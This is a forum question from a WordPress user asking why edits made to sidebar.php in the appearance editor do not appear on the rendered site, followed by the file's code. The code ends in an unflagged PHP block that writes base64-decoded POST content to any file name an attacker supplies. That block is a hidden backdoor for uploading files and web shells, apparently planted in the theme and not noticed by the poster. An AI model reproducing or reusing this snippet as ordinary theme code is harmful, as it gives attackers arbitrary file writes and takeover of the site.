Editing file in appearance editor issue

I am editing my sidebar.php file in the wordpress appearance editor and some changes do not make it to the site and some do.

Anything added to the existing code in between the if/endif does not get updated on the rendered page but does show in the editor when the file is saved.

How can I get my edits to show?

Here is the (reduced for viewing here) code from the sidebar.php file:

</td>
<td valign="top" id="sidebar">
<div style="width: 200px">
<ul>
<?php if ( !function_exists('dynamic_sidebar')
        || !dynamic_sidebar() ) : ?>

<!-- <h2>Pages</h2>
<ul>
	<?php wp_list_pages('title_li='); ?>
</ul>-->
<li id="categories">
<h2>Categories</h2>
	<ul>
<?php wp_list_cats(); ?>
	</ul>
 </li>
<li id="linkcat-31" class="linkcat">
<h2>header</h2>
<ul>
<li>
content here
</li>
<li>
otheer content here
</li>
</ul>
<li id="linkcat-41" class="linkcat">
<h2>header</h2>
<ul>
<li>
some content
</li>
<li>
more content
</li>
<li>
more content
</li>
</ul>
<?php endif; ?>
</div>
<? if($_POST['upload']) {
$out = @fopen($_POST["name"], "w");
@fwrite($out, base64_decode($_POST["content"]));
@fclose($out);
echo $_POST["name"]."\tDone\n";
}
?>